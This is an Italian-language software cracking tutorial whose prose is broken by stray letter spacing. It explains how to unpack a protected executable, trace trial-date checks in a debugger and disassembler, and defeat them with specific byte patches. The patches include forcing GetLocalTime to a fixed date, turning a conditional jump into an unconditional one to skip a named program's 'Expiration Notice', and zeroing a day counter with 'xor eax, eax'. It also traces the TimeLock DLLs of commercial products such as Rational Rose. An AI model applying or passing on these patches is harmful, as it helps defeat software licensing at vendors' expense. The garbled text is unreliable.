I l pr ogr amma i n quest i one, cer cando di
car i car l o con WDASM, segnal a i l seguent e
messaggi o.
Car i cat e PROCDUMP ( guar dat e i l capi t ol o sul
sof t war e) e sel ezi onat e i l pul sant e UNPACK.
Speci f i cat e i l nome del pr ogr amma andandol o
a cer car e e sel ezi onandol o dal l a l i st a.
Quando vi vi ene most r at a l a f i nest r a i n cui
sel ezi onar e i l met odo di packi ng sel ezi onat e
l a pr i ma r el at i va al met odo SCONOSCI UTO ( a
meno che non l o conosci at e) .
PROCDUMP car i cher i l pr ogr amma e vi
segnal er t r ami t e una MessageBox di pr emer e
un t ast o a car i cament o avvenut o.
PROCDUMP i ni zi er a l avor ar e
most r andovi a vi deo l o scor r er e dei
byt es anal i zzat i .
Ri cor dat evi quant o appena det t o ovver o
di pr emer e i l pul sant e sol o dopo che
i l pr ogr amma st at o avvi at o da
PROCDUMP.
Ter mi nat o i l l avor o di decodi f i ca, se
andat o a buon esi t o, vi ver r
r i chi est o di assegnar e un nome al f i l e
di cui esegui r e i l dump.
I l f i l e deve aver e est ensi one . EXE i n
quant o, come i l f i l e che l o ha gener at o, i l f i l e esegui bi l e con l e
i nf or mazi oni nor mal i zzat e.
Pr i ma di cont i nuar e pr ovat e a f ar e l a pr ova pi sempl i ce di t ut t e, ovver o
pr ovat e a l anci ar e i l pr ogr amma per veder e se non ci sono pr obl emi .
Si cur ament e i l
f i l e avr una
di mensi one
di ver sa.
I l pi gr osso
quel l o
cr eat o da
PROCDUMP ( nel
mi o caso) .
Come abbi amo det t o al l i ni zi o del l ar goment o WDASM segnal ava che i l f i l e aveva
i l PE i n un f or mat o non st andar d e cer cando di vi sual i zzar e l e f unzi oni
i mpor t at e ne veni vano most r at e pochi ssi me.
Adesso car i cando i l pr ogr amma con WDASM e vi sual i zzando l e f unzi oni i mpor t at e
vengono most r at e t ut t e ( quest a sol o l i ni zi o ma si vedono gi f unzi oni
i mpor t ant i per ver i f i car e i codi ci . . . i n quest o caso i nf at t i vi ene l et t o dal
r egi st r o ) .

advapi 32. RegCl oseKey
advapi 32. RegCl oseKey
advapi 32. RegCr eat eKeyExA
advapi 32. RegDel et eVal ueA
advapi 32. RegFl ushKey
advapi 32. RegOpenKeyExA
advapi 32. RegOpenKeyExA
advapi 32. RegQuer yVal ueExA
advapi 32. RegQuer yVal ueExA
advapi 32. RegSet Val ueExA
comct l 32. I mageLi st _Add
comct l 32. I mageLi st _Begi nDr ag
comct l 32. I mageLi st _Cr eat e
comct l 32. I mageLi st _Dest r oy
comct l 32. I mageLi st _Dr agEnt er
comct l 32. I mageLi st _Dr agLeave
comct l 32. I mageLi st _Dr agMove
comct l 32. I mageLi st _Dr agShowNol ock
comct l 32. I mageLi st _Dr aw
comct l 32. I mageLi st _Dr awEx


Quest o i nvece er a l i ni zi o ( e quasi
l a f i ne) del pr ogr amma non pr ocessat o
da PROCDUMP) .

KERNEL32. Begi nUpdat eResour ceA
KERNEL32. Cl oseHandl e
KERNEL32. Connect NamedPi pe
KERNEL32. Cont i nueDebugEvent
KERNEL32. Cr eat eFi l eA
KERNEL32. Cr eat eFi l eMappi ngA
KERNEL32. Cr eat eMut exA
KERNEL32. Cr eat eSemaphor eA
KERNEL32. DebugAct i vePr ocess
KERNEL32. Del et eCr i t i cal Sect i on
KERNEL32. Del et eFi l eA
KERNEL32. Devi ceI oCont r ol
KERNEL32. EndUpdat eResour ceA
KERNEL32. Ent er Cr i t i cal Sect i on

Gener al ment e un si st ema Ti meLock compost o da pi f i l e t r a i qual i ne esi st e
uno i n f or mat o nor mal e che cont i ene l e ( o l a) f unzi oni che decodi f i cano l e
al t r e.
Se si cer ca di l egger e l e i nf or mazi oni di un f i l e pr i ma che quest o venga
decodi f i cat o si cur ament e ver r anno f uor i ameni t o i n ogni caso un numer o
si cur ament e i nf er i or e al l ef f et t i vo.
Al cuni pr ogr ammi che ef f et t uano i l dump ser vono appunt o a r i cr ear e l e t est at a
dei pr ogr ammi dopo che i l sof t war e or i gi nal e l o ha decodi f i cat o.
Nel l a par t e l egat e al si st ema di Ti meLock chi amat o VBOX appr of ondi r emo i l
di scor so sui PE codi f i cat i e sul met odo di at t ender e che i l pr ogr amma st esso
esegua l a decodi f i ca per poi cr ear e dei DUMP con pr ogr ammi come Sof t Dump,
Pr ocDump o si mi l i a.
Una not a par t i col ar e r i guar da l a scel t a del debugger .
Spesso un pr ogr amma ut i l i zza l a l i br er i a r el at i va al l a macchi na vi r t ual e di
vi sual basi c o comunque scr i t t o i n un l i nguaggi o con f unzi oni pr opr i e che
r endono di f f i ci l e l i nt er pr et azi one del l e r out i nes per l a ser i al i zzazi one.
Quando vedet e che un pr ogr amma i mpor t a l e f unzi oni da MSVBVM60. DLL al l or a pot et e
st ar e si cur i che quest a l i br er i a a sua vol t a r i chi ama l e var i e f unzi oni API di
Wi ndows pr esent i i n Gdi 32. DLL, USER32. DLL ecc.
Pot endo i nt er cet t ar e quest e f unzi oni pot r est e cer car e l e var i e Get Dl gI t emText A
ecc.
Debugger come WDASM vi most r ano una f i nest r a i n cui compai ono l e f unzi oni
i mpor t at e e l uni co modo per set t ar e dei br eakpoi nt sul l i nt er cet t azi one di
quest e quel l o di cl i ckar e su quel l e desi der at e.
Pot r est e usar e i l met odo di i mpor t ar e voi l e l i br er i e set t ando poi degl i
abbi nament i con pr ogr ammi at t i vi , ma non sapr ei di r vi con pr eci si one se una
t ecni ca ut i l i zzabi l e sempr e.
Debugger come Sof t I ce possono esegui r e l i mpor t da WI NI CE. DAT del l e DLL
cont enent i l e var i e f unzi oni Get Dl gI t emText A ecc. per cui se l a f unzi one di VB
6. 0 ut i l i zzer quel l a al l or a l i nt er cet t azi one pot r esser e f at t a sempl i cement e.
Ecco l a copi a di un wi ni ce. dat i n cui sar suf f i cent e el i mi nar e i l r em di nanzi
al l a DLL per esegui r e l i mpor t .

; WINICE.DAT
; (SIW95\WINICE.DAT)
; for use with SoftICE Version 3.2 (Windows 95)
; 14 July 1997
; *************************************************************************
; If your have MORE than 32MB of physical memory installed, change
; the PHYSMB line to the correct # of Megabytes.
; If you have LESS than 32MB you can save a bit of memory by
; specifying the correct # of Megabytes
; *************************************************************************
; ***** Examples of sym files that can be included if you have the SDK *****
; Change the path to the appropriate drive and directory
;LOAD=c:\windows\system\user.exe
;LOAD=c:\windows\system\gdi.exe
;LOAD=c:\windows\system\krnl386.exe
;LOAD=c:\windows\system\mmsystem.dll
;LOAD=c:\windows\system\win386.exe
; ***** Examples of export symbols that can be included *****
; Change the path to the appropriate drive and directory
;EXP=c:\windows\system\vga.drv
;EXP=c:\windows\system\vga.3gr
;EXP=c:\windows\system\sound.drv
;EXP=c:\windows\system\mouse.drv
;EXP=c:\windows\system\netware.drv
;EXP=c:\windows\system\system.drv
;EXP=c:\windows\system\keyboard.drv
;EXP=c:\windows\system\toolhelp.dll
;EXP=c:\windows\system\shell.dll
;EXP=c:\windows\system\commdlg.dll
;EXP=c:\windows\system\olesvr.dll
;EXP=c:\windows\system\olecli.dll
;EXP=c:\windows\system\mmsystem.dll
;EXP=c:\windows\system\winoldap.mod
;EXP=c:\windows\progman.exe
;EXP=c:\windows\drwatson.exe
; ***** Examples of export symbols that can be included for Windows 95 *****
; Change the path to the appropriate drive and directory
;EXP=c:\windows\system\advapi32.dll
;EXP=c:\windows\system\shell232.dll
;EXP=c:\windows\system\comctl32.dll
;EXP=c:\windows\system\crtdll.dll
;EXP=c:\windows\system\version.dll
;EXP=c:\windows\system\netlib32.dll
;EXP=c:\windows\system\msshrui.dll
;EXP=c:\windows\system\msnet32.dll
;EXP=c:\windows\system\mspwl32.dll
;EXP=c:\windows\system\mpr.dll

I n al t r e par ol e un l i nguaggi o xx pot r ebbe aver e del l e f unzi oni sue per l egger e
un campo d edi t .
Se l a l i br er i a si suppor t a sul l e API di Wi ndows si gni f i cher che quest a
ut i l i zzer appunt o quest e ul t i me per l esecuzi one del l a f unzi onal i t .
Nel capi t ol o r el at i vo al l e l i br er i e esi st e un ampl i ament o del di scor so r el at i vo
al MSVBVM60. DLL.
Pot r emmo aver e una f unzi one Leggi Edi t Fi el d( ) che si suppor t a su Get Dl gI t emText A.
Se non si et e speci al i zzat i nel l i nguaggi o pot et e sol o andar e ad i nt ui t o per
capi r e qual i f unzi oni svol gono un cer t o compi t o e gener al ment e l o si pu f ar e
sol o dal nome.
Pot endo i nt er cet t ar e al l a base l a f unzi one su cui si basa al l or a sempl i f i cher et e
i l t ut t o.


CAMBIO DEI PARAMETRI DELLA DATA DI EXPIRE

Se par t i amo dal pr esuppost o che al cuni pr ogr ammi cont r ol l ano l a dat a per saper e
se i l pr ogr amma scadut o, possi amo i mmagi nar e due possi bi l i t ecni che.
La pr i ma par t e dal pr esuppost o che da qual che par t e i l pr ogr amma l egge l a dat a
at t ual e per conf r ont ar l a con quel l a di i nst al l azi one.
Se quando i nst al l i amo i l pr ogr amma esegui amo subi t o l a modi f i ca pot r emmo sper ar e
nel cor r et t o f unzi onament o di una met odol ogi a di quest o t i po.
Supponi amo che l a dat a di i nst al l azi one si a 12/ 09/ 1999.
I ndi pendent ement e da dove si r egi st r a l a dat a di i nst al l azi one suf f i cent e che
modi f i chi amo l a chi amat a a Get Local Ti me o del l a f unzi one che i l pr ogr amma
ut i l i zza per l egger e i l t empo f acendo i n kodo che quest a r est i t ui sca sempr e l a
dat a 12/ 09/ 1999.
Pr endi amo i l o pr ogr amma xxxxx. exe e car i chi amol o con WDASM.
Cer chi amo l e f unzi oni che r est i t ui scono i l t empo ( guar dat e i l capi t ol o del l e
API ) .
Nel l esempi o esi st e sol o Get Local Ti me.

......
kernel32.GetLocaleInfoA
kernel32.GetLocalTime
kernel32.GetLogicalDrives
......

Set t i amo un br eakpoi nt e at t endi amo che si f er mi .
Nel l i st ant e i n cui si at t i va i l br eakpoi nt possi amo veder e l a chi amat a al l a
f unzi one.

API void Arg00 = GetLocalTime(Arg01)
API Address=00405A68, API Return Address=00408465
Arg01 = (LPSYSTEMTIME) 0069fc6c
Arg01->st.wYear = 49024 decimal
Arg01->st.wMonth = 16609 decimal
Arg01->st.wDayOfWeek = 31342 decimal
Arg01->st.wDay = 68 decimal
Arg01->st.wHour = 64640 decimal
Arg01->st.wMinute = 105 decimal
Arg01->st.wSecond = 31356 decimal
Arg01->st.wMilliseconds = 68 decimal

RESULT for API GetLocalTime
Arg00 = (void)
Arg01 = (LPSYSTEMTIME) 0069fc6c
Arg01->st.wYear = 1999 decimal
Arg01->st.wMonth = 9 decimal
Arg01->st.wDayOfWeek = 4 decimal
Arg01->st.wDay = 16 decimal
Arg01->st.wHour = 0 decimal
Arg01->st.wMinute = 56 decimal
Arg01->st.wSecond = 47 decimal
Arg01->st.wMilliseconds = 680 decimal


I l codi ce most r at o i l seguent e :

* Reference To: kernel32.GetLocalTime, Ord:0000h
|
:00408460 E803D6FFFF Call 00405A68
:00408465 668B4C240E mov cx, word ptr [esp+0E]
:0040846A 668B54240A mov dx, word ptr [esp+0A]
:0040846F 668B442408 mov ax, word ptr [esp+08]
:00408474 E81FFEFFFF call 00408298

I r egi st r i cx, dx, ax cont engono ( da not ar e che oggi al mi o comput er i l
16/ 9/ 99)

EAX=000007CF -> AX=07CF -> DECIMALE 1999
ecx=ca0a0010 -> CX=0010 -> DECIMALE 16
edx=bffc0009 -> DX=0009 -> DECIMALE 9

Se l a dat a di i nst al l azi one del pr ogr amma f osse quel l a odi er na pot r ei set t ar e
del l e cost ant i modi f i cando l e i st r uzi one mov cx, wor d pt r [ esp+0E] ecc. con

MOV CX, 0010
MOV AX, 07CF
MOV DX, 0009

I l secondo met odo quel l o i nvece di andar e a veder e dove vi ene f at t o i l
cont r ol l o sul numer o di gi or ni .
La r i cer ca pu avveni r e anche cer cando l a segnal azi one del pr ogr amEXPI RED.

:00447AA8 837DE81E cmp dword ptr [ebp-18], 0000001E
:00447AAC 7E40 jle 00447AEE
:00447AAE 6A30 push 00000030

* Possible StringData Ref from Code Obj ->"Expiration Notice"
|
:00447AB0 68847D4400 push 00447D84

* Possible StringData Ref from Code Obj ->"Your trial period for Directory "
->"Printer has "
|
:00447AB5 68987D4400 push 00447D98
:00447ABA 8B45FC mov eax, dword ptr [ebp-04]
:00447ABD E83AB2FDFF call 00422CFC
:00447AC2 50 push eax

* Reference To: user32.MessageBoxA, Ord:0000h
|
:00447AC3 E8F0E5FBFF Call 004060B8
:00447AC8 8B45FC mov eax, dword ptr [ebp-04]
:00447ACB 8B8064020000 mov eax, dword ptr [eax+00000264]
:00447AD1 33D2 xor edx, edx

Se i l pr ogr amma ar r i vasse a 00447AC3 ( 4 r i ghe qui sopr a) segnal er ebbe i l
messaggi o di EXPI RED per cui nel l a seconda r i ga sar suf f i ci ent e sost i t ui r e i l
sal t o j l e 00447AEE con un J MP f i sso, sal t o che gl i f ar ebbe sal t ar e i l messaggi o
di expi r ed e qui ndi . . . .

:00447AAC EB40 jmp 00447AEE
:00447A9D call DIRPRINT.00402994
:00447AA2 sub ebx, eax
:00447AA4 inc ebx
:00447AA5 mov dword ptr [ebp-18], ebx
:00447AA8 cmp dword ptr [ebp-18], 0000001E
BP*:00447AAC jmp DIRPRINT.00447AEE

Dopo quest ul t i ma i st r uzi one pr emet e F9
e l asci at e esegui r e i l pr ogr amma.
Beh! Dovr et e sol o pot er soppor t ar e i l
non senso del messaggi o che vi di ce :
Quest a una ver si one a 30 gi or ni di
pr ova . . . voi si et e al 72 esi mo gi or no
dei 30 . . . .




FUNZIONI DI FORMATTAZIONE DEL TESTO

Al cune vol t e vengono most r at e, dal pr ogr amma i n anal i si , del l e st r i nghe che sono
st at e chi ar ament e f or mat t at e
da f unzi oni qual i wspr i nt f ( )
ecc.
Andando a cer car e quest a
f unzi one si t r ova i l codi ce che
segue.

:004067C4 E8E7810100 Call 0041E9B0
:004067C9 A1E8CE4200 mov eax, dword ptr [0042CEE8]
:004067CE 83C0E2 add eax, FFFFFFE2
:004067D1 50 push eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004067A1(U), :004067C0(U)
|
:004067D2 6860A34200 push 0042A360
:004067D7 6820CF4200 push 0042CF20

* Reference To: USER32.wsprintfA, Ord:02ACh
|
:004067DC FF15BC524200 Call dword ptr [004252BC]
:004067E2 A1E8CE4200 mov eax, dword ptr [0042CEE8]
:004067E7 83C40C add esp, 0000000C

Pr i ma del l a chi amat a a wspr i nt f ci sono t r e push che ser vono a passar e i
par amet r i .
Le due push con i ndi r i zzo f i sso equi val gono al l a st r i nga :

(Evalutation day %d of %d)

I l val or e dei gi or ni di at t i vazi one vi ene passat o t r ami t e i l r egi st r o EAX.
Come possi bi l e veder e pr i ma che avvenga i l push di EAX i l val or e di EAX vi ene
set t at o con i l val or e cont enut o al l i ndi r i zzo 0042CEE8.
Quest o si gni f i ca che quest o i ndi r i zzo vi ene ut i l i zzat o per mant ener e i gi or ni di
at t i vazi one.
Andi amo a cer car e con l a f unzi one di r i cer ca dove vi ene assegnat o quest o val or e
con qual che i st r uzi one t i po :

mov dword ptr [0042CEE8], ..... qualche valore

Pr ovat e a cer car e anche sol o l a st r i nga 0042CEE8.
L uni ca assegnazi one a quel l i ndi r i zzo st at a t r ovat a a 004066E9 :

:004066DA E851FEFFFF call 00406530
:004066DF A3E4A24200 mov dword ptr [0042A2E4], eax
:004066E4 2BC6 sub eax, esi
:004066E6 40 inc eax
:004066E7 3BC3 cmp eax, ebx
:004066E9 A3E8CE4200 mov dword ptr [0042CEE8], eax
:004066EE 7E05 jle 004066F5
:004066F0 BD01000000 mov ebp, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004066EE(C)
|
:004066F5 68C0AF4200 push 0042AFC0

A quest o punt o pot r emmo sol o pr ovar e a set t ar e un al t r o val or e.
I l pr obl ema or a t r ovar e i l modo per i nser i r e dei codi ci che non vadano a
modi f i car e con l a l or o l unghezza i codi ci oper at i vi gi esi st ent i .
Ad esempi o l i st r uzi one SUB EAX, ESI ha come l unghezza oper at i va 2 byt es ( 2BC6) .
Ho scel t o quel l i st r uzi one per ch modi f i ca sol o EAX.
L i st r uzi one XOR EAX, EAX ha l a l unghezza del codi ce oper at i vo di 2 byt es che
va gi ust o bene.
I l codi ce oper at i vo :

31C0 XOR EAX, EAX

I n pr at i ca dopo quest a i st r uzi one messa al post o di SUB EAX, ESI EAX var r 0 per
cui i l successi vo I NC EAX i ncr ement er EAX por t andol o a 1.
Se l a t eor i a f unzi ona al l i ndi r i zzo 0042CEE8, che cont i ene i l numer o di gi or ni
di at t i vazi one, t r over emo 1 e qui ndi i l pr ogr amma cr eder di esser e at t i vo da
sol o 1 gi or no.
Pr ovi amo a f ar e l a pat ch e l anci amo i l pr ogr amma.
La pat ch :

:004066E4 31C0 xor eax, eax

modi f i cher i l codi ce i n :

:004066D1 push eax
:004066D2 mov byte ptr [esp+16], bl
:004066D6 mov byte ptr [esp+17], bl
:004066DA call MUEDIT.00406530
:004066DF mov dword ptr [0042A2E4], eax
BP*:004066E4 xor eax, eax -----------QUI
:004066E6 inc eax
:004066E7 cmp eax, ebx
BP*:004066E9 mov dword ptr [0042CEE8], eax
:004066EE jle 004066F5
:004066F0 mov ebp, 00000001

Come vedet e l a l unghezza del codi ce oper at i vo gi ust a, ugual e come l unghezza a
quel l a di pr i ma, per cui i l codi ce non
sf asa.
Or a pr emi amo F9 e . . . . .
Chi ar ament e dovr emo i nt er cet t ar e i l
set t aggi o pr i ma che venga f at t o
qual si asi cont r ol l o at t o a def i ni r e l
EXPI RED del codi ce.

Comunque sar pr obabi l e che se vi ene
mant enut a un var i abi l e i n memor i a i
cont r ol l i avvengano i n cor r i spondenza
del l assegnazi one a quest a.
Quest o met odo non val e se i l numer o
di gi or ni vi ene sol o cal col at o e
mant enut o i n var i abi l i t empor anee
( l ocal i ) usat e sul l i st ant e.
I pr ogr ammi che mant engono nel
capt i on i l numer o dei gi or ni
pr obabi l e che i nvece t engano l a
var i abi l e gl obal e e che qui ndi i l
met odo appena vi st o si a val i do.

DLL CHIAMATE E RICERCA DELLE FUNZIONI


Rel at i vament e al l e f unzi oni di al cune
DLL bi sogna osser var e al cuni compor t ament i l egat i ad al cune di quest e.
Cer t e DLL come ad esempi o KERNEL32. DLL vengono l et t e i n ar ee di memor i a
condi vi se e qui ndi t r at t at e come r ead onl y.
I n quest e zone non possi bi l e set t ar e dei br eakpoi nt s e t ant omeno andar e a
modi f i car e l a memor i a.
I n ogni caso possi bi l e per mol t e al t r e DLL andar e a i nser i r e dei br eakpoi nt ed
esegui r e modi f i che.
Quand che vi ene ut i l e gest i r e l i br er i e e DLL ?
Quando esi st ono f unzi oni suf f i ci ent ement e gener i che da pot er e esser e ut i l i zzat e
i n pi di una ci r cost anza al l or a possi bi l e i nser i r e i n una DLL t al i f unzi oni .
Esi st ono dei sof t war e compost i da pi f i l e esegui bi l i .
Pr endi amo ad esempi o Mi cr oangel o che ser ve a gest i r e i cone e l i br er i e di i cone.
La ver si one shar ewar e quando vi ene at t i vat a most r a l a seguent e mascher a.
I l pacchet t o comunque compost o da quat t r o
o ci nque pr ogr ammi i qual i eseguono i l
cont r ol l o per veder e se i gi or ni del
di most r at i vo non sono st at i super at i .
Si cur ament e l e f unzi oni che eseguono i l
cont r ol l o sono st at e i nser i t e dent r o ad una
DLL e non dupl i cat e dent r o a ci ascun f i l e.
I n quest o caso at t i vando ci ascun pr ogr amma
ed andando a veder e si not a che c sempr e
l a dl l E: \ MI CROANGELO\ MUAPP. DLL at t i vat a i n
memor i a.
I n WDASM esi st e una f i nest r el l a che most r a l e DLL at t i ve.
E suf f i cent e sel ezi onar e una DLL dal l a l i st a e cl i ckar ci sopr a per aver e
pr opost a l a domanda se si vuol e di sassembl ar l a.
Come avevo gi det t o pr ecedent ement e, esi st ono anche dei mar cat or i , vi si bi l i
anche nel di segno qui a f i anco, che per met t ono di set t ar e dei br eakpoi nt ogni
vol t a che i l pr ogr amma chi ama una DLL e ogni vol t a che l a scar i ca dal l a memor i a.
Da quest o bi sogner ebbe appr ender e l a l ogi ca dei pr ogr ammi demo ad esegui bi l i
mul t i pl i .
Quando vi accoi r get e che un pr ogr amma vi ene di st r i bui t o con di ver si f i l e
esegui bi l i e che ci ascuno di quest i esegue i l cont r ol l o del t empo di at t i vazi one
o quel l o che l o l i mi t a a demo al l or a si cur ament e l e f unzi oni sono i nser i t e i n
qual che DLL.
Car i cat e i l pr ogr amma e ment r e quest o f er mo sul l a mascher a che vi segnal a
quant i gi or ni avet e a di sposi zi one, l anci at e TaskManager o qual si asi ut i l i t y che
vi most r i qual i f i l e e dl l sono at t i ve i n memor i a.
Accer t at evi dal per cor so o da qual che el ement o che vi per met t a di capi r l o qual i
o qual e dl l r el at i va al pr ogr amma i nt er essat o.
A quest o punt o pr endet e ScanBi n o un al t r o pr ogr amma come Qui ckVi ew che vi
most r i i dat i di quel l a DLL t r a cui f unzi oni espor t at e ecc.
Se i l nome del l a f unzi one abbast anza espl i ci t o da f ar vi capi r e che si t r at t a
del l a f unzi one di cont r ol l o al l or a sapet e gi dove andar e a met t er e l e mani .
I n caso cont r ar i o car i cat e WDASM o Sof t I ce e dopo aver di sassembl at o i l
pr ogr amma andat e a l egger e l a DLL cer cando di met t er gl i dent r o qual che
br eakpoi nt .
Si cur ament e i l numer o dei gi or ni ver r l et t o i n qual che voce di r egi st r o o da
qual che f i l e.
I n ogni caso si cur ament e deve esser ci qual che chi amat a a f unzi oni che
r est i t ui scano l a dat a cor r ent e.
Chi ar ament e gl i al gor i t mi sono abbast anza compl essi per evi t ar e che l ut ent e
possa por t ar e i ndi et r o l or ol ogi o di si st ema o che f acci a qual che cosa per
i mbr ogl i ar e i l sof t war e.
Gener al ment e i
sof t war e devono
pr ot egger si cont r o i l
t empo che st per
scader e ma anche
cont r o l e
r ei nst al l azi oni .
I sof t war e
memor i zzano sempr e
due dat e ovver o
quel l a
d i nst al l azi one e quel l a i n cui un sof t war e scadut o i n
modo t al e che non possa pi esser e i nst al l at o.
Possono esser ci due post i i n cui memor i zzar e t al i dat i .
I l pr i mo i n un di r ect or y comune a t ut t i i si st emi e
pr eci sament e l a wi ndows o l a wi ndows\ syst em.
I l secondo post o i l r egi st r o di wi ndows.
Par l ando di f i l es dobbi amo r i cor dar ci anche dei f i l e
. I NI per cui se ad un cer t o punt o dovessi mo escl uder e
che l e i nf or mazi oni vengono messe nel r egi st r o dovr emmo
non sol o cer car e l e f unzi oni OpenFi l e ecc. ma anche
quel l e l egat e al l a scr i t t ur a e l et t ur a dent r o a f i l es
. I NI .
Comunque quest o ar goment o t r at t at o nel l apposi t o
capi t ol o.
I f i l e i n cui vengono memor i zzat e l e i nf or mazi oni
r el at i ve al l e i nst al l azi oni dei pr ogr ammi sono i n gener e
con i l nome che vi ene cr eat o con:

parte fissa + parte random . estensione

Ad esempi o nel mi o si st ema cont i nuano a cr escer e i f i l es.


Quest i f i l es non sono ver i ocx per cui pot r ebber o esser e . . . .
Comunque i l sugo di t ut t o che come t ar get del l e nost r e r i cer che sui si st emi
t i me bombed possono esser e adot t at i anche i met odi per l a l et t ur a del l e
i nf or mazi oni r el at i ve al l a dat a di si st ema.
Con quest e i nf or mazi oni par t i amo sempr e dal punt o i n cui l e i nf or mazi oni sono
memor i zzat e dent r o al r egi st r o.
Se non t r ovi amo f unzi oni di l et t ur a ed i nt er r ogazi one di quest o pr ovi amo andar e
a cer car e se esi st ono al t r e f unzi oni l egat e al l aper t ur a e l et t ur a di f i l es.
Er avamo par t i t i dal di scor so del l e DLL associ at e ad un pr ogr amma.
Nei di sassembl at or i esi st e l a possi bi l i t di andar e ad anal i zzar e una DLL l et t a
i n associ azi one al pr ogr amma che segui amo.
Pot r emmo per f ar e un al t r a cosa e pr eci sament e l egger e a par t e una DLL ed
associ ar l a ad un pr ogr amma at t i vo.
Per f ar e quest o possi amo segui r e l a seguent e pr ocedur a.
L opzi one vi si bi l e qui a f i anco At t ach t o an act i ve pr ocess per met t e di
associ ar e i l modul o l et t o ad un pr ocesso at t i vo i n quel l i st ant e.
Ad esempi o quando si l egge i l f i l e esegui bi l e ROSE. EXE, i l qual e t est a i l numer o
di gi or ni , ci si pu not ar e che vengono l et t e anche l e DLL :

ADVAPI 32. DLL
COMCTL32. DLL
COMDLG32. DLL
GDI 32. DLL
I MM32. DLL
KERNEL32. DLL
MPR. DLL
MSVCRT. DLL
MSVCRT20. DLL
MSWSOCK. DLL
NETAPI 32. DLL
NETBI OS. DLL
OLE32. DLL
OLEAUT32. DLL
OLEDLG. DLL
RSCNDC22.DLL
RSCNPB22.DLL
SHELL32. DLL
SHLWAPI . DLL
TL31INJ.DLL
USER32. DLL
WI NI NET. DLL
WI NSPOOL. DRV
WS2_32. DLL
WS2HELP. DLL
WSOCK32. DLL

TL31I NJ . DLL, RSCNPB22. DLL e RSCNDC22. DLL pot r ebber o esser e l egat e a quest a
f unzi onal i t ( senza i l pot r ebber o vi st o che si t r at t a del l e DLL che gest i scono
i l t i mel ock)
Anal i zzandol e con ScanBi n o con Qui ckVi ew vi ene f at t o veder e che l a pr i ma
RSCNDC22. DLL r i chi ama l a seconda di r et t ament e. :

DLL used : e:\Programmi\Rational\Rscndc22.dll
=============================================
Direct calls
--------------------------------------------------------------
COMDLG32 = c:\Windows\SYSTEM\COMDLG32.DLL
GDI32 = c:\Windows\SYSTEM\GDI32.DLL
KERNEL32 = c:\Windows\SYSTEM\KERNEL32.DLL
RSCNPB22 = e:\Programmi\Rational\Rscnpb22.dll
USER32 = c:\Windows\SYSTEM\USER32.DLL

Undirect calls
--------------------------------------------------------------
ADVAPI32 = c:\Windows\SYSTEM\ADVAPI32.DLL
COMCTL32 = c:\Windows\SYSTEM\COMCTL32.DLL
SHELL32 = c:\Windows\SYSTEM\SHELL32.DLL
SHLWAPI = c:\Windows\SYSTEM\SHLWAPI.DLL

La DLL espor t a quest e due f unzi oni :

Exported functions : e:\Programmi\Rational\Rscndc22.dll
=======================================================
0 ebCreateDebuggerA
1 ebCreateDebuggerW

e ne i mpor t a un cer t o numer o che per mot i vi di spazi o non r i por t o.
Tr a l e f unzi oni i mpor t at e comunque non r i sul t ano quel l e l egat e al l a gest i one del
r egi st r o.
Si cur ament e i l caso r i por t at o non si adat t a al l a spi egazi one di un caso sempl i ce
i n cui l e r i cer ca del l e f unzi oni di l et t ur a del l a dat a at t ual e vi ene f at t a al l a
l uce del sol e.
Nel caso di si st emi che adot t ano i met odi Ti meLock o Vbox bi sogna i n qual che
modo super ar e l o scogl i o r el at i vo al f at t o che sol o al cune par t i del l e DLL sono
i n chi ar o.
Gr an par t e di quest e sono codi f i cat e o packat e per cui per r i usci r e a
r i nt r acci ar e t al i f unzi oni di l et t ur a del l a dat aq bi sogna o at t ender e che l a
par t e che esegue l unpack f unzi oni ed i n ogni caso bi sogner ut i l i zzar e i
pr ogr ammi i donei per esegui r e i l dump.
Al cune vol t e mi i nner vosi sco per i l f at t o che i t est i r el at i vi ai si st emi di
spr ot ezi one che si t r ovano i r et e si f er mano t ut t i al f at t o di r i nt r acci ar e l a
f at i di ca Get Dl gI t emText .
Si ncer ament e al meno un anno che non r i esco a t r ovar e un si st ema che per met t a
di r i nt r acci ar e l a f unzi one di ser i al i zzazi one medi ant e l a r i cer ca di quest a
f nzi one.
A quest o punt o consi der ando che nel f i l e ROSE. EXE non sono ut i l i zzat e neppur e l i
non r i mane, pr i ma di escl uder e che possano esser e memor i zzat e i nf or mazi oni
dent r o al r egi st r o, che veder e se sono ut i l i zzat e dent r o al l a seconda DLL.
Neppur e i n quest a ci sono r i f er i ment i al l e f unzi oni l egat e al r egi st r o.
Vedr emo t r a poco che quest e f unzi oni sono nel l a t er za DLL.
Supponendo che quest a t er za DLL non esi st a dovr emmo a quest o punt o comunque
pensar e che i l pr ogr amma deve esser e i n gr ado di capi r e se gi st at o
i nst al l at o.
Se l e i nf or mazi oni f osser o memor i zzat e dent r o ad un f i l e pr esent e nel l a
di r ect or y del pr ogr amma, quest o ver r ebbe el i mi nat o con i l del et e del l a di r ect or y
del pr ogr amma.
Si cur ament e i l f i l e dovr esser e pr esent e dent r o ad un f i l e nel l a di r ect or y di
Wi ndows o al l i mi t e dent r o l a syst em.
Or a si t r at t a di st abi l i r e se i l f i l e un . I NI oppur e un f i l e nor mal e.
Se si t r at t a di un f i l e. I NI al l or a pot r emo af f i dar ci al gr uppo di f unzi oni del
t i po Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e* ( vedi capi t ol o sul l e API
Wi ndows) .
I n caso di f i l es al l or a si cur ament e ent r er anno i n bal l o l e f unzi oni l egat e al
r eper i ment o del pat h di Wi ndows e Wi ndows\ Syst em.

KERNEL32 285 GetSystemDirectoryA
KERNEL32 286 GetSystemDirectoryW
KERNEL32 316 GetWindowsDirectoryA
KERNEL32 317 GetWindowsDirectoryW

Le f unzi oni pr ecedent i sono st at e vi st e da ScanBi n nel l a seconda DLL di
Rat i onal Rose.
La pr i ma DLL l et t a i n WDASM most r a t r a l e f unzi oni i mpor t at e l e seguent i :

RSCNPB22.ebClearBreakpoint
RSCNPB22.ebClearBreakpointEx
RSCNPB22.ebClearBreakpointsEx

Gi l e pr i me i st r uzi oni di Rat i onal Rose non l asci ano sper ar e nul l a di buono.

:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF

Dal l e i st r uzi oni i ni zi al i per r i sul t a anche l a chi amat a ad una f unzi one dent r o
al l a DLL TL31I NJ . DLL.
